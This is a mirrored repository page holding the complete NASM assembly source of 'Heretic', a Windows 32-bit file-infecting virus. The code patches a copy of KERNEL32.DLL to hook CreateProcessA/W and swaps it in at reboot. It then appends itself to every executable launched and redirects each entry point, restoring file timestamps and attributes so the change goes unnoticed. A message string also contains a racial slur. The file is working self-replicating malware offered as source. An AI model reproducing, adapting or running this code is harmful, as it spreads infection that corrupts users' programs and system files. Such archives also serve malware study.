mirror of
https://github.com/vxunderground/MalwareSourceCode.git
synced 2024-12-22 19:36:11 +00:00
883 lines
29 KiB
NASM
883 lines
29 KiB
NASM
|
|
;
|
|
; SYNOPSIS
|
|
;
|
|
; Heretic - A Microsoft Windows 32 virus
|
|
;
|
|
; AUTHOR
|
|
;
|
|
; Memory Lapse, [NOP]
|
|
; formerly of Phalcon/Skism
|
|
;
|
|
; ABSTRACT
|
|
;
|
|
; This virus works under all beta versions of Windows 9x, and Windows NT 4.0.
|
|
; Under a Win32s environment, the virus will fail since the kernel doesn't
|
|
; physically export any useable API. Parsing the import table of the host image
|
|
; for GetProcAddress and GetModuleHandle should do the trick.
|
|
;
|
|
; NOTES
|
|
;
|
|
; Finally after seven months (including a four month hiatus for university),
|
|
; I've finally finished this virus.
|
|
;
|
|
; Ideally when the kernel is infected, the object the virus extends
|
|
; (typically .reloc) should have its flags with IMAGE_SCN_MEM_WRITE turned off.
|
|
; This will prevent in-memory patching by antivirus software. Heretic does
|
|
; not do this. At least not yet.
|
|
;
|
|
; Useful reading material: Microsoft Platform, SDK, and DDK Documentation
|
|
;
|
|
; Greets to priest, h8, lookout, virogen and johnny panic.
|
|
;
|
|
|
|
.386
|
|
locals
|
|
.model flat, stdcall
|
|
.code
|
|
.radix 16
|
|
|
|
include heretic.inc
|
|
|
|
CRC_POLY equ 0EDB88320
|
|
CRC_INIT equ 0FFFFFFFF
|
|
|
|
crc macro string
|
|
crcReg = CRC_INIT
|
|
irpc _x,
|
|
ctrlByte = '&_x&' xor (crcReg and 0ff)
|
|
crcReg = crcReg shr 8
|
|
rept 8
|
|
ctrlByte = (ctrlByte shr 1) xor (CRC_POLY * (ctrlByte and 1))
|
|
endm
|
|
crcReg = crcReg xor ctrlByte
|
|
endm
|
|
dd crcReg
|
|
endm
|
|
|
|
MARKER equ "DOS lives somewhere in time"
|
|
|
|
org 0
|
|
|
|
start: push L offset host - start ;location of old entry point
|
|
ddOldEntryPoint = dword ptr $ - 4
|
|
|
|
pushfd ;save state
|
|
pushad
|
|
|
|
call @@delta
|
|
@@delta:pop ebp
|
|
sub ebp,offset @@delta - start
|
|
;thanks vg!
|
|
db 81,0edh ;sub ebp,unsignedlong
|
|
ddEntryPoint dd 0
|
|
add [esp+24],ebp ;return address of host
|
|
|
|
mov edi,[esp+28] ;get a "random" pointer from stack
|
|
and edi,0FFFF0000 ;mask off bottom word
|
|
|
|
call try
|
|
catch: mov esp,[esp+8] ;get pointer to our stack-based
|
|
; exception record
|
|
jmp finally ;and return to host
|
|
|
|
try: push dword ptr fs:[0] ;this is our try { } block
|
|
mov fs:[0],esp ;create stack-based exception record
|
|
|
|
.repeat
|
|
dec edi ;move back a byte
|
|
lea eax,[edi-MAGIC] ;thanks h8!
|
|
|
|
cmp [edi],eax ;match? then we've found the kernel
|
|
.until zero?
|
|
|
|
mov esi,[eax+exe_str.pe_offset]
|
|
add esi,eax ;traverse PE header and find
|
|
; Export Data Directory Table
|
|
mov ebp,[esi+pe_str.export_tbl]
|
|
add ebp,eax ;RVA -> absolute
|
|
|
|
push eax
|
|
push [ebp+edt_str.edt_ord_base]
|
|
|
|
mov ebx,[ebp+edt_str.edt_ord_rva]
|
|
mov edi,[ebp+edt_str.edt_name_rva]
|
|
mov ebp,[ebp+edt_str.edt_addr_rva]
|
|
|
|
add ebx,eax ;adjust ordinal table pointer
|
|
add edi,eax ;adjust name pointer table pointer
|
|
add ebp,eax ;adjust address pointer table pointer
|
|
|
|
push ebp ;we save these values onto the stack
|
|
push eax ; so we can free up registers
|
|
|
|
call @@delta
|
|
@@delta:pop ebp
|
|
sub ebp,offset @@delta
|
|
|
|
push ebp
|
|
|
|
; on entry:
|
|
; [esp] : delta offset
|
|
; [esp+4] : image base
|
|
; [esp+8] : address pointer table
|
|
; [esp+0c] : ordinal base
|
|
; ebx - ordinal table
|
|
; esi - pointer to our list of apis
|
|
; edi - name pointer table
|
|
lea esi,[ebp+name_ptr_api]
|
|
mov ecx,1
|
|
mov edx,(name_ptr_api_end - name_ptr_api) / 4
|
|
|
|
top: push edx
|
|
push esi
|
|
|
|
mov esi,[edi] ;calculate absolute offset of
|
|
add esi,[esp+0c] ; name pointer (image base)
|
|
|
|
mov edx,CRC_INIT
|
|
|
|
lup: lodsb
|
|
|
|
or al,al ;termination token? then quit
|
|
jz chkCRC
|
|
|
|
xor dl,al
|
|
mov al,8
|
|
|
|
.repeat ;perform CRC-32 on string
|
|
shr edx,1 ;thanks jp!
|
|
.if carry?
|
|
xor edx,CRC_POLY
|
|
.endif
|
|
dec al
|
|
.until zero?
|
|
jmp lup
|
|
|
|
chkCRC: pop esi
|
|
push edi
|
|
|
|
mov ebp,ecx
|
|
shl ebp,1 ;convert count into word index
|
|
|
|
movzx eax,word ptr [ebx+ebp] ;calculate ordinal index
|
|
sub eax,[esp+14] ;relative to ordinal base
|
|
shl eax,2 ;convert ordinal into dword index
|
|
|
|
mov ebp,eax
|
|
mov edi,[esp+10]
|
|
|
|
add eax,edi ;calculate offset
|
|
mov edi,[edi+ebp] ;RVA of API (dereference said offset)
|
|
add edi,[esp+0c] ;convert to absolute offset
|
|
|
|
mov ebp,[esp+8]
|
|
|
|
cmp edx,CRC_POLY ;CreateProcessA?
|
|
org $ - 4
|
|
crc
|
|
.if zero?
|
|
mov [ebp+lpCreateProcessA],eax ;hook it
|
|
mov [ebp+CreateProcessA],edi
|
|
.endif
|
|
cmp edx,CRC_POLY ;or CreateProcessW?
|
|
org $ - 4
|
|
crc
|
|
.if zero?
|
|
mov [ebp+lpCreateProcessW],eax ;hook it
|
|
mov [ebp+CreateProcessW],edi
|
|
.endif
|
|
cmp edx,[esi] ;or an API the virus uses?
|
|
.if zero?
|
|
mov [esi+(name_ptr_api_end - name_ptr_api)],edi
|
|
lodsd ;update pointer
|
|
dec dword ptr [esp+4] ;decrement our API count
|
|
.endif
|
|
pop edi
|
|
|
|
next: pop edx
|
|
add edi,4 ;next API
|
|
inc ecx ;remember displacement
|
|
|
|
or edx,edx ;no more names to parse?
|
|
jnz top
|
|
|
|
pop ebp ;restore delta offset
|
|
add esp,0c ;clear stack
|
|
|
|
call [ebp+GlobalAlloc], \ ;allocate memory for global structure
|
|
GMEM_FIXED, \
|
|
L size vir_str
|
|
|
|
mov edi,eax
|
|
pop [edi+vir_str.lpKernelBase]
|
|
|
|
call kernel ;attempt to infect the kernel
|
|
|
|
call [ebp+GlobalFree], \ ;release global structure resources
|
|
edi
|
|
|
|
finally:pop dword ptr fs:[0] ;this is our finally { } block
|
|
pop eax ;trash exception handler address
|
|
;low and behold, the stack is restored
|
|
popad
|
|
popfd
|
|
|
|
ret
|
|
|
|
db '[nop] 4 life.. lapse, vg and jp own you! :)'
|
|
|
|
infect: mov [edi+vir_str.ddError],TRUE ;assume an error occurred
|
|
|
|
call [ebp+GetFileAttributesA], \
|
|
[edi+vir_str.lpFileName]
|
|
|
|
mov [edi+vir_str.ddFilterAttributes],eax
|
|
inc eax
|
|
jz exit
|
|
|
|
call [ebp+SetFileAttributesA], \ ;strip file attributes
|
|
[edi+vir_str.lpFileName], \
|
|
FILE_ATTRIBUTE_NORMAL
|
|
|
|
or eax,eax ;error? possibly a r/o disk?
|
|
jz exit
|
|
|
|
call [ebp+CreateFileA], \
|
|
[edi+vir_str.lpFileName], \
|
|
GENERIC_READ or GENERIC_WRITE, \
|
|
FILE_SHARE_NOTSHARED, \
|
|
NULL, \
|
|
OPEN_EXISTING, \
|
|
FILE_ATTRIBUTE_NORMAL, \
|
|
NULL
|
|
|
|
mov [edi+vir_str.hFile],eax ;if we don't get a valid file
|
|
inc eax ;descriptor (ie. an invalid handle),
|
|
jz exitChmod ;quit processing
|
|
|
|
lea eax,[edi+vir_str.ddLastWriteTime]
|
|
lea ecx,[edi+vir_str.ddLastAccessTime]
|
|
lea edx,[edi+vir_str.ddCreationTime]
|
|
call [ebp+GetFileTime], \ ;save file timestamps
|
|
[edi+vir_str.hFile], \
|
|
edx, \
|
|
ecx, \
|
|
eax
|
|
|
|
call [ebp+CreateFileMappingA], \ ;create a mmap object
|
|
[edi+vir_str.hFile], \
|
|
NULL, \
|
|
PAGE_READONLY, \
|
|
L 0, \
|
|
L 0, \
|
|
NULL
|
|
|
|
or eax,eax
|
|
jz exitTime
|
|
|
|
mov [edi+vir_str.hFileMappingObject],eax
|
|
|
|
call [ebp+MapViewOfFile], \ ;view the file in our address space
|
|
[edi+vir_str.hFileMappingObject], \
|
|
FILE_MAP_READ, \
|
|
L 0, \
|
|
L 0, \
|
|
L 0
|
|
|
|
or eax,eax
|
|
jz exitCloseMap
|
|
|
|
mov [edi+lpBaseAddress],eax
|
|
|
|
cmp word ptr [eax],IMAGE_DOS_SIGNATURE
|
|
jnz exitUnmap ;some sort of executable?
|
|
|
|
mov esi,eax
|
|
add esi,[eax+exe_str.pe_offset] ;seek to NT header
|
|
|
|
push eax
|
|
call [ebp+IsBadCodePtr], \ ;can we read the memory at least?
|
|
esi ;potentially not a Windows file?
|
|
|
|
or eax,eax
|
|
pop eax
|
|
jnz exitUnmap
|
|
|
|
cmp dword ptr [esi],IMAGE_NT_SIGNATURE
|
|
jnz exitUnmap ;PE file?
|
|
|
|
cmp [esi+pe_str.timestamp],CRC_POLY
|
|
org $ - 4
|
|
crc MARKER
|
|
jz exitUnmap
|
|
|
|
lea eax,[ebp+infectKernel]
|
|
|
|
cmp [edi+vir_str.lpInfectMethod],eax;attempting to infect KERNEL32.DLL?
|
|
.if !zero?
|
|
test [esi+pe_str.flags],IMAGE_FILE_DLL
|
|
jnz exitUnmap ;and not a runtime library?
|
|
.endif
|
|
call getLastObjectTable
|
|
|
|
mov eax,[ebx+obj_str.obj_psize]
|
|
add eax,[ebx+obj_str.obj_poffset]
|
|
|
|
add eax,(_end - start) ;calculate maximum infected file size
|
|
mov ecx,[esi+pe_str.align_file]
|
|
call align
|
|
|
|
mov [edi+vir_str.ddFileSizeInfected],eax
|
|
|
|
call [ebp+UnmapViewOfFile], \
|
|
[edi+vir_str.lpBaseAddress]
|
|
|
|
call [ebp+CloseHandle], \
|
|
[edi+vir_str.hFileMappingObject]
|
|
|
|
call [ebp+CreateFileMappingA], \ ;reopen and extend mmap file
|
|
[edi+vir_str.hFile], \
|
|
NULL, \
|
|
PAGE_READWRITE, \
|
|
L 0, \
|
|
[edi+vir_str.ddFileSizeInfected], \
|
|
NULL
|
|
|
|
mov [edi+vir_str.hFileMappingObject],eax
|
|
|
|
call [ebp+MapViewOfFile], \
|
|
[edi+vir_str.hFileMappingObject], \
|
|
FILE_MAP_WRITE, \
|
|
L 0, \
|
|
L 0, \
|
|
L 0
|
|
|
|
mov [edi+vir_str.lpBaseAddress],eax
|
|
|
|
add eax,[eax+exe_str.pe_offset]
|
|
mov esi,eax
|
|
|
|
call getLastObjectTable
|
|
|
|
mov eax,[ebx+obj_str.obj_rva] ;set new entry point if an EXE
|
|
add eax,[ebx+obj_str.obj_psize] ; or set hooks if kernel32.dll
|
|
call [edi+vir_str.lpInfectMethod]
|
|
|
|
push edi
|
|
push esi
|
|
|
|
mov edi,[edi+vir_str.lpBaseAddress]
|
|
add edi,[ebx+obj_str.obj_poffset]
|
|
add edi,[ebx+obj_str.obj_psize]
|
|
lea esi,[ebp+start]
|
|
mov ecx,(_end - start)
|
|
cld
|
|
rep movsb ;copy virus
|
|
|
|
pop esi
|
|
pop eax
|
|
|
|
xchg eax,edi
|
|
sub eax,[edi+vir_str.lpBaseAddress] ;new psize = old psize + (_end - start)
|
|
sub eax,[ebx+obj_str.obj_poffset]
|
|
mov ecx,[esi+pe_str.align_file]
|
|
call align ;calculate new physical size
|
|
|
|
mov [ebx+obj_str.obj_psize],eax
|
|
|
|
mov eax,[ebx+obj_str.obj_vsize]
|
|
add eax,(_end - start)
|
|
mov ecx,[esi+pe_str.align_obj]
|
|
call align ;calculate potential new virtual size
|
|
|
|
cmp eax,[ebx+obj_str.obj_psize] ;if new physical size > new virtual size
|
|
.if carry?
|
|
mov eax,[ebx+obj_str.obj_psize] ;then let the virtual size = physical size
|
|
.endif
|
|
mov [ebx+obj_str.obj_vsize],eax
|
|
|
|
add eax,[ebx+obj_str.obj_rva]
|
|
|
|
cmp eax,[esi+pe_str.size_image] ;infected host increased in image size?
|
|
.if !carry?
|
|
mov [esi+pe_str.size_image],eax
|
|
.endif
|
|
|
|
mov [esi+pe_str.timestamp],CRC_POLY
|
|
org $ - 4
|
|
crc MARKER
|
|
or [ebx+obj_str.obj_flags],IMAGE_SCN_CNT_INITIALIZED_DATA or IMAGE_SCN_MEM_EXECUTE or IMAGE_SCN_MEM_READ or IMAGE_SCN_MEM_WRITE
|
|
|
|
lea eax,[ebp+szImageHlp]
|
|
call [ebp+LoadLibraryA], \ ;load image manipulation library
|
|
eax
|
|
|
|
or eax,eax
|
|
.if !zero?
|
|
push eax ;(*) argument for FreeLibrary()
|
|
|
|
lea ecx,[ebp+szChecksumMappedFile]
|
|
call [ebp+GetProcAddress], \ ;get address of image checksum api
|
|
eax, \
|
|
ecx
|
|
|
|
or eax,eax
|
|
.if !zero?
|
|
lea ecx,[esi+pe_str.pe_cksum]
|
|
lea edx,[edi+vir_str.ddBytes]
|
|
call eax, \ ;calculate checksum
|
|
[edi+vir_str.lpBaseAddress], \
|
|
[edi+vir_str.ddFileSizeInfected], \
|
|
edx, \
|
|
ecx
|
|
.endif
|
|
call [ebp+FreeLibrary] ;argument is set at (*)
|
|
.endif
|
|
mov [edi+vir_str.ddError],FALSE ;no errors!
|
|
|
|
exitUnmap:
|
|
call [ebp+UnmapViewOfFile], \ ;unmap the view
|
|
[edi+vir_str.lpBaseAddress]
|
|
exitCloseMap:
|
|
call [ebp+CloseHandle], \ ;remove mmap from our address space
|
|
[edi+vir_str.hFileMappingObject]
|
|
exitTime:
|
|
lea eax,[edi+vir_str.ddLastWriteTime]
|
|
lea ecx,[edi+vir_str.ddLastAccessTime]
|
|
lea edx,[edi+vir_str.ddCreationTime]
|
|
call [ebp+SetFileTime], \ ;restore file time
|
|
[edi+vir_str.hFile], \
|
|
edx, \
|
|
ecx, \
|
|
eax
|
|
|
|
call [ebp+CloseHandle], \ ;close the file
|
|
[edi+vir_str.hFile]
|
|
exitChmod:
|
|
call [ebp+SetFileAttributesA], \ ;restore file attributes
|
|
[edi+vir_str.lpFileName], \
|
|
[edi+vir_str.ddFilterAttributes]
|
|
exit: ret ;return to caller
|
|
|
|
kernel: call [ebp+GlobalAlloc], \ ;allocate memory for source buffer
|
|
GMEM_FIXED, \
|
|
_MAX_PATH
|
|
|
|
mov [edi+vir_str.lpSrcFile],eax
|
|
|
|
call [ebp+GetSystemDirectoryA], \ ;store %sysdir% in source buffer
|
|
eax, \
|
|
_MAX_PATH
|
|
|
|
call [ebp+GlobalAlloc], \ ;allocate memory for destination buffer
|
|
GMEM_FIXED, \
|
|
_MAX_PATH
|
|
|
|
mov [edi+vir_str.lpDstFile],eax
|
|
|
|
call [ebp+GetWindowsDirectoryA], \ ;store %windir% in destination buffer
|
|
eax, \
|
|
_MAX_PATH
|
|
|
|
lea eax,[ebp+szKernel]
|
|
call [ebp+lstrcatA], \ ;*lpSrcFile = %sysdir%\kernel32.dll
|
|
[edi+vir_str.lpSrcFile], \
|
|
eax
|
|
|
|
lea eax,[ebp+szKernel]
|
|
call [ebp+lstrcatA], \ ;*lpDstFile = %windir%\kernel32.dll
|
|
[edi+vir_str.lpDstFile], \
|
|
eax
|
|
|
|
call [ebp+CopyFileA], \
|
|
[edi+vir_str.lpSrcFile], \ ;%sysdir%\kernel32.dll
|
|
[edi+vir_str.lpDstFile], \ ; -> %windir%\kernel32.dll
|
|
FALSE
|
|
|
|
lea eax,[ebp+infectKernel]
|
|
mov [edi+lpInfectMethod],eax ;we're trying to infect the kernel
|
|
|
|
mov eax,[edi+vir_str.lpDstFile]
|
|
mov [edi+vir_str.lpFileName],eax
|
|
|
|
call infect
|
|
|
|
.if [edi+vir_str.ddError] == FALSE
|
|
lea eax,[ebp+szSetupApi]
|
|
call [ebp+LoadLibraryA], \
|
|
eax
|
|
|
|
or eax,eax ;if LoadLibrary fails, explicitly write
|
|
.if zero? ;to WININIT.INI (Windows 95)
|
|
lea eax,[ebp+szWinInitFile] ;delete the original kernel
|
|
push eax
|
|
push [edi+vir_str.lpSrcFile]
|
|
lea eax,[ebp+szKeyName]
|
|
push eax
|
|
lea eax,[ebp+szAppName]
|
|
push eax
|
|
call [ebp+WritePrivateProfileStringA]
|
|
|
|
lea eax,[ebp+szWinInitFile] ;move our patched kernel
|
|
push eax
|
|
push [edi+vir_str.lpDstFile]
|
|
push [edi+vir_str.lpSrcFile]
|
|
lea eax,[ebp+szAppName]
|
|
push eax
|
|
call [ebp+WritePrivateProfileStringA]
|
|
.else
|
|
push eax ;(*) argument for FreeLibrary
|
|
|
|
lea ebx,[ebp+szSetupInstallFileExA] ;fetch address of API from this DLL
|
|
call [ebp+GetProcAddress], \
|
|
eax, \
|
|
ebx
|
|
|
|
or eax,eax
|
|
.if !zero?
|
|
lea ebx,[edi+ddBytes]
|
|
call eax, \ ;move patched kernel
|
|
NULL, \ ;NT->delay until next reboot
|
|
NULL, \ ; modified MoveFileEx behaviour?
|
|
[edi+vir_str.lpDstFile], \ ;98->WININIT.INI
|
|
NULL, \
|
|
[edi+vir_str.lpSrcFile], \
|
|
SP_COPY_SOURCE_ABSOLUTE or SP_COPY_DELETESOURCE, \
|
|
NULL, \
|
|
NULL, \
|
|
ebx
|
|
.endif
|
|
mov esi,eax
|
|
call [ebp+FreeLibrary]
|
|
mov eax,esi
|
|
.endif
|
|
or eax,eax
|
|
.if zero?
|
|
mov [edi+vir_str.ddError],TRUE
|
|
.endif
|
|
.endif
|
|
|
|
.if [edi+vir_str.ddError] == TRUE
|
|
call [ebp+DeleteFileA], \ ;delete %windir%\kernel32.dll if
|
|
[edi+vir_str.lpFileName] ; an error infecting or moving
|
|
.endif
|
|
call [ebp+GlobalFree], \ ;deallocate destination buffer
|
|
[edi+vir_str.lpDstFile]
|
|
|
|
call [ebp+GlobalFree], \ ;deallocate source buffer
|
|
[edi+vir_str.lpSrcFile]
|
|
ret
|
|
|
|
infectKernel:
|
|
xchg eax,ecx
|
|
|
|
movzx eax,[esi+pe_str.size_NThdr]
|
|
add eax,esi
|
|
add eax,offset pe_str.majik
|
|
|
|
mov edx,0
|
|
lpCreateProcessA = dword ptr $ - 4
|
|
sub edx,[edi+vir_str.lpKernelBase]
|
|
|
|
@@lup: cmp [eax+obj_str.obj_rva],edx ;was the API in the previous object?
|
|
ja @@next
|
|
|
|
add eax,size obj_str ;next object
|
|
jmp @@lup
|
|
|
|
@@next: sub eax,size obj_str ;seek back to export object
|
|
|
|
push L offset hookCreateProcessA - start
|
|
call trapAPI
|
|
|
|
mov edx,0
|
|
lpCreateProcessW = dword ptr $ - 4
|
|
sub edx,[edi+vir_str.lpKernelBase]
|
|
|
|
push L offset hookCreateProcessW - start
|
|
call trapAPI
|
|
|
|
ret
|
|
|
|
infectEXE:
|
|
mov [ebp+ddEntryPoint],eax
|
|
xchg eax,[esi+pe_str.rva_entry]
|
|
|
|
mov [ebp+ddOldEntryPoint],eax
|
|
|
|
ret
|
|
|
|
trapAPI:push ebx
|
|
push ecx
|
|
|
|
mov ebx,[eax+obj_str.obj_poffset]
|
|
sub ebx,[eax+obj_str.obj_rva]
|
|
add ebx,[edi+vir_str.lpBaseAddress]
|
|
add ebx,edx
|
|
|
|
add ecx,[esp+0c]
|
|
mov [ebx],ecx
|
|
|
|
pop ecx
|
|
pop ebx
|
|
ret 4
|
|
|
|
align: xor edx,edx
|
|
add eax,ecx
|
|
dec eax
|
|
div ecx
|
|
mul ecx
|
|
ret
|
|
|
|
getLastObjectTable:
|
|
movzx eax,[esi+pe_str.num_obj]
|
|
cdq
|
|
mov ecx,L size obj_str
|
|
dec eax
|
|
mul ecx
|
|
|
|
movzx edx,[esi+pe_str.size_NThdr]
|
|
add eax,edx
|
|
add eax,esi
|
|
add eax,offset pe_str.majik ;seek to last object table
|
|
|
|
xchg eax,ebx
|
|
ret
|
|
|
|
;on entry:
|
|
; [esp] : return address to caller
|
|
; [esp+4] -> [esp+28] : registers
|
|
; [esp+2c] : return address to process
|
|
; [esp+34] : commandline
|
|
hookInfectUnicode:
|
|
call @@delta
|
|
@@delta:pop ebp
|
|
sub ebp,offset @@delta
|
|
|
|
mov edi,[esp+34]
|
|
call [ebp+WideCharToMultiByte], \ ;find out how many bytes to allocate
|
|
CP_ACP, \ ; ANSI code page
|
|
L 0, \ ; no composite/unmapped characters
|
|
edi, \ ; lpWideCharStr
|
|
L -1, \ ; calculate strlen(lpWideCharStr)+1
|
|
NULL, \ ; no buffer
|
|
L 0, \ ; tell us how many bytes to allocate
|
|
NULL, \ ; ignore unmappable characters
|
|
NULL ; don't tell us about problems
|
|
|
|
or eax,eax ;no bytes can be converted?
|
|
jz hookInfectError ;then bomb out.
|
|
|
|
push eax ;(*)
|
|
|
|
call [ebp+GlobalAlloc], \ ;allocate enough memory for the
|
|
GMEM_FIXED, \ ; converted UNICODE string
|
|
eax
|
|
|
|
or eax,eax ;any memory available?
|
|
pop ecx ;(*)
|
|
jz hookInfectError
|
|
|
|
mov esi,eax
|
|
mov edi,[esp+34]
|
|
call [ebp+WideCharToMultiByte], \ ;UNICODE -> ANSI conversion
|
|
CP_ACP, \ ; ANSI code page
|
|
L 0, \ ; no composite/unmappable characters
|
|
edi, \ ; lpWideCharStr
|
|
L -1, \ ; calculate strlen(lpWideCharStr)+1
|
|
esi, \ ; destination buffer for ANSI characters
|
|
ecx, \ ; size of destination buffer
|
|
NULL, \ ; ignore unmappable characters
|
|
NULL ; don't tell us about problems
|
|
jmp hookInfectDispatch
|
|
|
|
;on entry:
|
|
; [esp] : return address to caller
|
|
; [esp+4] -> [esp+28] : registers
|
|
; [esp+2c] : return address to process
|
|
; [esp+34] : commandline
|
|
hookInfectAnsi:
|
|
call @@delta
|
|
@@delta:pop ebp
|
|
sub ebp,offset @@delta
|
|
|
|
mov edi,[esp+34] ;get the filename
|
|
|
|
call [ebp+lstrlenA], \ ;calculate string length
|
|
edi ; (not including null terminator)
|
|
|
|
or eax,eax ;zero length?
|
|
jz hookInfectError
|
|
|
|
inc eax ;include null terminator
|
|
|
|
call [ebp+GlobalAlloc], \ ;allocate some memory for the copy
|
|
GMEM_FIXED, \
|
|
eax
|
|
|
|
or eax,eax ;no memory?
|
|
jz hookInfectError
|
|
|
|
mov esi,eax
|
|
|
|
call [ebp+lstrcpyA], \ ;*edi -> *esi
|
|
esi, \
|
|
edi
|
|
|
|
hookInfectDispatch:
|
|
push esi ;(*) argument for GlobalFree
|
|
|
|
call [ebp+GlobalAlloc], \ ;instantiate our global structure
|
|
GMEM_FIXED, \
|
|
L size vir_str
|
|
|
|
or eax,eax ;fatal error if no memory
|
|
jz hookInfectErrorFree
|
|
|
|
mov edi,eax
|
|
mov [edi+vir_str.lpFileName],esi
|
|
mov [edi+vir_str.ddError],FALSE ;assume no parsing fix-ups required
|
|
|
|
lodsb
|
|
cmp al,'"'
|
|
.if zero?
|
|
mov [edi+vir_str.lpFileName],esi
|
|
mov [edi+vir_str.ddError],TRUE ;parsing fix-ups required
|
|
.endif
|
|
|
|
hookInfectParse:
|
|
lodsb ;get a byte
|
|
.if [edi+vir_str.ddError] == TRUE ;need a fix-up?
|
|
cmp al,'"' ;'"' is our terminator
|
|
jnz hookInfectParse
|
|
.else ;no fix-up required
|
|
cmp al,' ' ;' ' or \0 is our terminator
|
|
jz hookInfectParsed
|
|
or al,al
|
|
jnz hookInfectParse
|
|
.endif
|
|
|
|
hookInfectParsed:
|
|
mov byte ptr [esi-1],NULL ;null terminate string
|
|
|
|
lea eax,[ebp+infectEXE] ;we're infecting a non-kernel32 executable
|
|
mov [edi+vir_str.lpInfectMethod],eax
|
|
call infect
|
|
|
|
call [ebp+GlobalFree], \ ;deallocate global structure
|
|
edi
|
|
hookInfectErrorFree:
|
|
call [ebp+GlobalFree] ;deallocate lpFileName
|
|
hookInfectError:
|
|
ret
|
|
|
|
hookCreateProcessW:
|
|
push CRC_POLY
|
|
CreateProcessW = dword ptr $ - 4
|
|
|
|
hookUnicode:
|
|
pushfd
|
|
pushad
|
|
call hookInfectUnicode
|
|
popad
|
|
popfd
|
|
ret
|
|
|
|
hookCreateProcessA:
|
|
push CRC_POLY
|
|
CreateProcessA = dword ptr $ - 4
|
|
|
|
hookAnsi:
|
|
pushfd
|
|
pushad
|
|
call hookInfectAnsi
|
|
popad
|
|
popfd
|
|
ret
|
|
|
|
className db '[Heretic] by Memory Lapse',0
|
|
message db 'For my thug niggaz.. uptown baby, uptown.',0
|
|
|
|
szKernel db '\KERNEL32.DLL',0
|
|
|
|
szImageHlp db 'IMAGEHLP',0
|
|
szChecksumMappedFile db 'CheckSumMappedFile',0
|
|
szSetupApi db 'SETUPAPI',0
|
|
szSetupInstallFileExA db 'SetupInstallFileExA',0
|
|
|
|
szWinInitFile db 'WININIT.INI',0
|
|
szAppName db 'Rename',0
|
|
szKeyName db 'NUL',0
|
|
|
|
name_ptr_api:
|
|
ddCloseHandle: crc
|
|
ddCopyFileA: crc
|
|
ddCreateFileA: crc
|
|
ddCreateFileMappingA: crc
|
|
ddDeleteFileA: crc
|
|
ddFreeLibrary: crc
|
|
ddGetFileAttributesA: crc
|
|
ddGetFileTime: crc
|
|
ddGetProcAddress: crc
|
|
ddGetSystemDirectoryA: crc
|
|
ddGetWindowsDirectoryA: crc
|
|
ddGlobalAlloc: crc
|
|
ddGlobalFree: crc
|
|
ddIsBadCodePtr: crc
|
|
ddLoadLibraryA: crc
|
|
ddMapViewOfFile: crc
|
|
ddSetFileAttributesA: crc
|
|
ddSetFileTime: crc
|
|
ddUnmapViewOfFile: crc
|
|
ddWideCharToMultiByte: crc
|
|
ddWritePrivateProfileStringA: crc
|
|
ddlstrcatA: crc
|
|
ddlstrcpyA: crc
|
|
ddlstrlenA: crc
|
|
name_ptr_api_end:
|
|
|
|
; absolute offsets of desired API
|
|
CloseHandle dd 0
|
|
CopyFileA dd 0
|
|
CreateFileA dd 0
|
|
CreateFileMappingA dd 0
|
|
DeleteFileA dd 0
|
|
FreeLibrary dd 0
|
|
GetFileAttributesA dd 0
|
|
GetFileTime dd 0
|
|
GetProcAddress dd 0
|
|
GetSystemDirectoryA dd 0
|
|
GetWindowsDirectoryA dd 0
|
|
GlobalAlloc dd 0
|
|
GlobalFree dd 0
|
|
IsBadCodePtr dd 0
|
|
LoadLibraryA dd 0
|
|
MapViewOfFile dd 0
|
|
SetFileAttributesA dd 0
|
|
SetFileTime dd 0
|
|
UnmapViewOfFile dd 0
|
|
WideCharToMultiByte dd 0
|
|
WritePrivateProfileStringA dd 0
|
|
lstrcatA dd 0
|
|
lstrcpyA dd 0
|
|
lstrlenA dd 0
|
|
|
|
_end:
|
|
|
|
host: call MessageBoxA, \
|
|
NULL, \
|
|
L offset lpText, \
|
|
L offset lpCaption, \
|
|
L 0 ;MB_OK
|
|
|
|
call ExitProcess, \
|
|
L 0
|
|
|
|
.data
|
|
lpCaption db 'Memory Lapse has something to say..',0
|
|
lpText db 'Hello World!',0
|
|
|
|
end start
|
|
|